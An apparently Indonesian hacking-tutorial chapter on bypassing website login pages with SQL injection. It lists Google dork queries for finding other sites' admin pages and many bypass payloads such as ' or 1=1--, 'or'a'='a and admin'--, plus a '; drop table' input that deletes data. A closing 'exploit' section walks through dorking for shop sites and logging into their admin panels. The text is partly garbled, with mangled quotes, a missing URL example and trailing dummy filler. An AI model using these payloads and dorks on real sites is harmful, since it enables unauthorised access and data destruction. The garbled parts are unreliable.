BAB
6
ByPass
Halaman Login
Untuk mengakses suatu sistem, misalnya sebuah
situs web, biasanya diperlukan proses login. Supaya hanya user yang sah atau
berhak saja yang boleh memasuki situs web tersebut, hal ini ditandai dengan
adanya kotak input username dan password. Hal ini bertujuan untuk memfilter dan
mengenal identitas user yang memasuki sebuah sistem. Dalam bab ini, Anda akan
mempelajari bagaimana menembus sebuah halaman login dengan teknik SQL
Injection. Sebab, salah satu masalah utama dalam pemakaian SQL adalah adanya
isi kelemahan pada halaman login.
Misalnya, Anda bisa melakukan searching dengan
kata kunci berikut:
-
Admin.php
-
Admin.asp
-
Login.php
-
Login.asp
Dengan
empat string di atas, Anda akan menemukan banyak halaman admin.
Pada
halaman login, Anda bisa memasukkan kode perintah, misalnya:
User:
admin
Pass:’
or 1=1—
Atau:
User
name : ‘or’=’
Password
: ‘or’=’
Penjelasannya
sperti ini:
Ketika
input username dan password diisi
seperti di atas, maka yang terjadi pada proses
input adalah sebagai berikut:
Var
sql = “select * from users where username = ‘ “ + username + “ ‘ and password =
‘ “ + password + “ ‘ “
‘
Hal
ini bisa terjadi karena, ketika input tersebut diproses oleh sistem, yang terjadi adalah operasi
tersebut dianggap valid.
Var
sql = “select * from users where username = ‘ ‘ OR ‘ ‘ = ‘ ‘ and password = ‘ ‘ OR ‘ ‘=’ ‘ ;
Misalnya,
sebuah database memiliki tabel dengan nama “user” dn memiliki “field” account
dan password.
|
Account
|
Password
|
|
Admin
|
Pop3y3
|
|
Joko
|
Jack1
|
Kembali pada contoh kasus
sewaktu seseorang memasukkan input berupa ‘OR”=’ baik pada bagian account
maupun pada bagian password. Secara logika bisa kita lihat syntax SQL menjadi:
’’or’’=’’=’’ AND
password=’’or’’=’’
Dalam SQL, fungsi logika OR
untuk untuk mengembalikan nilai False menjadi True.
Mungkin ada di antara pembaca
yang bertanya, bagaimana jika kita ingin login dengan account tertentu tetapi
kita tidak mengetahui password-nya. Misalnya, anda ingin login dengan nama
account ‘joko’ seperti yang terdapat pada tabel diatas.
Caranya dengan memasukkan
input padatext box dengan ‘—sedangkan pada bagian password diisi dengan ‘OR”=’
Jika dilihat padda synntax
SQL , bentuknya adalah:
SELECT * FROM user WHERE account=’joko’- -‘ AND
password=’ ’or’ ’=’ ’
Fungsi pemakaian tanda double
minus tentunya Anda sudah tahu, seperti yang telah dijelaskan pada bab
sebelumnya. Pada beberapa kasus, tanda double minus juga bisa diganti dengan
tanda # menjadi joko’#.
Sedangkan pada kotak isian
password bisa diisi dengan bebas’ or ‘x’=’x’
Berikut penjelasannya.
Sewaktu seseorang menekan tombol login maka SQL akan menjalankan query seperti
berikut:
SELECT * FROM user WHERE account=’joko’ AND
password=’ bebas’ or ‘x’=’x’
Akibatnya pada bagian
password akan terisi dengan nilai bebas. Tentu saja input ini bernilai
salah (false) dan menyebabkan seseorang
tidak akan bisa login. Karena password tersebut tidak tersimpan pada database.
Akan tetapi, perhatikan query lanjutannya, yaitu or ‘x’=’x. Artinya , sistem
akan diberikan pilihan (fungsi OR). Jika sebelumnya, input password bernilai
salah, maka dijalankan pilihan berikutnya yang sudah pasti benar karena adanya
‘x’=’x’. Sehingga seseorang bisa melakukan login dengan account joko.
 |
Berikut beberapa syntax yang sering
digunakan dalam Google:
-
/admin.php
-
/login.php
-
/logon.php
-
/adminlogin.php
-
/adminlogon.php
-
/admin_login.php
-
/admin_logon.php
-
/admin/admin.php
-
/admin/login.php
-
/admin/logon.php
-
/admin/adminlogin.php
-
/admin/adminlogon.php
-
/admin/admin_login.php
-
/admin/admin_logon.php
-
/administrator/admin.php
-
/administrator/login.php
-
/administrator/logon.php
-
/reboot/login.php
-
/admin/index.php
Selain
itu, Anda bisa langsung memasukkan syntax di atas, atau menggunakan tanda
kutip, seperti: “/admin.asp”. Kalau perlu, Anda juga bisa menggunakan kombinasi
dengan syntax-syntax untuk Google Dork, seperti allinurl:admin/index.asp.
Halaman yang akan muncul dari tindakan di
atas, biasanya adalah halaman Login
.
Untuk dapat masuk ada banyak kode yang bisa
digunakan, di antaranya:
Username:
‘or’a’=’a
Password:
‘or’a’=’a
Jika tidak berhasil maka kode tersebut
divariasikan menjadi:
Username:
admin
Password:
‘or’a’=’a
Berikut beberapa kode variasinya:
|
‘ or 0=0 - -
‘ or 0=0 - -
or 0=0 - -
‘ or 0=0 #
‘ or 0=0 #
or 0=0 #
‘ or ‘x’=’x
‘ or “x”=”x
‘) or ( ‘x’=’x
‘ or 1=1 - -
‘ or 1=1 - -
or 1=1 - -
‘ or a=a - -
|
“ or “a”=”a
‘ ) or (
‘a’=’a
“ ) or ( “a”=”a
hi ” ) or
“a”=”a
hi ” or 1=1 - -
hi ’ or 1=1 - -
hi ’ or ‘a’=’a
hi ‘ ) or (
‘a’=’a
hi “) or (
“a”=”a
‘=’
‘ LIKE ‘
‘ =0 - - +
|
Untuk jawaban kedua, misalnya kita menggunakan
perintah ‘or’ 1=1 - - untuk inpiut account-nya sedangkan input password, kita
misalkan menggunakan kata ‘free’.
Sewaktu input dari account atau username
sebuah situs web dengan memasukkan string ‘or’ 1=1 - - hal ini akan membuat SQL
menjadi bingung karena SQL membacanya:
SELECT
* FROM user WHERE account=”or 1=1 - - AND paswsword= ‘free’
Perlu anda ketahui juga bahwa aksi SQL
injection melalui input box ini tidak hanya berlaku untuk melakukan aksi Login
saja. Misalnya, anda bisa menggunakan perintah:
Username: ’; drop table userid- -
Password:
Dilihat dari cara kerjanya, perintah di atas
akan bekerja:
Var sql = “select * from userid where username = `’ drop table
userid--
MODEL SERANGAN SEDERHANA
Contoh pemakaian double minus
pada SQL Injection attack:
Username : admin’ - -
SELECT * FROM members WHERE username = ‘admin’- - AND
password= ‘password’
Fungsi perintah di atas akan
membuat Anda bisa login sebagai admin.
Secara umum, untuk
mencocokkan user yang login perintah SQL-nya adalah:
Select * from admin where
username = input_username AND password = input_password
Conto soal:
Jika diketahui username
adalah ‘administrator’, sedangkan password-nya adalah ‘heloworld’.
Administrator berniat untuk login. Tentukan statement-nya?
Diketahui:
Username:
administrator
Password: heloworld
Ditanyakan:
SQL statement= ...?
Penyelesaian:
Rumus:
SELECT * FROM admin WHERE
username = input_username AND password = input_password
Masukkan yang diketahui ke
dalam rumus, menjadi:
Select * from admin where
username = ‘administrator’ and password = heloworld
Sekarang, saya akan
memberikan ilustrasi sederhana, untuk pola lainnya. Misalnya dengan sebuah
situs URL:
http://www.situs-target.com/category=buku
sekarang, kita asumsikan URL
nya diganti menjadi:
Maka variabel v_cat sama
dengan “buku” or 1=1- -“. Jika kita tukar dengan query SQL, jadinya:
SELECT * FROM Product WHERE
Pcategory=’buku’ or 1=1- -‘
Selain beberapa kode di atas
yang telah di bahas, Anda juga dapat menggunakan beberapa kemungkinan lain nya:
EXPLOIT ByPASS HALAMAN LOGIN
Subbab ini hanyalah
bab tambahan dari saya, yaitu beberapa exploit yang berhubungan dengan SQL
Injection untuk mem-bypass halaman login. Walaupun exploit itu adalah sesuatu
yang kuno karena akan mudah di patch, setidaknya ini akan menambahkan
pengetahuan Anda dalam hal kegiatan hacking menggunakan SQL Injection.
Gunakan syntax dibawah ini
pada halaman pencarian Google untuk mencari situs web yang
bisa Anda eksploitasi (exploit).
Syntax: inurl:”cart.php?m=”
Nantinya Anda akan menemukan
situs target katakanlah:
Atau,
Dari situs target yang Anda peroleh tersebut, hapuslah
string:cart.php?m=product_list&c=10
Menjadi: http://www.situs-target.com/
Sekarang tambahkan kata admin
dibelakangnya, menjadi: http://www.situs-target.com/admin
Untuk masuk pada situs web
dengan model seperti ini Injection nya adalah :
Username: admin
Password:’or”=”
Syntax Google berikutnya yang
bisa Anda coba adalah :
allinurl:shopadmin.asp
Di mana username
dan password yang digunakan adalah:
Username: ‘or’1
Password:’or’1
This is dummy text. It is not meant to be read. Accordingly, it is difficult to figure out when to end it. But then, this is dummy text. It is not meant to be read. Period.
ConversionConversion EmoticonEmoticon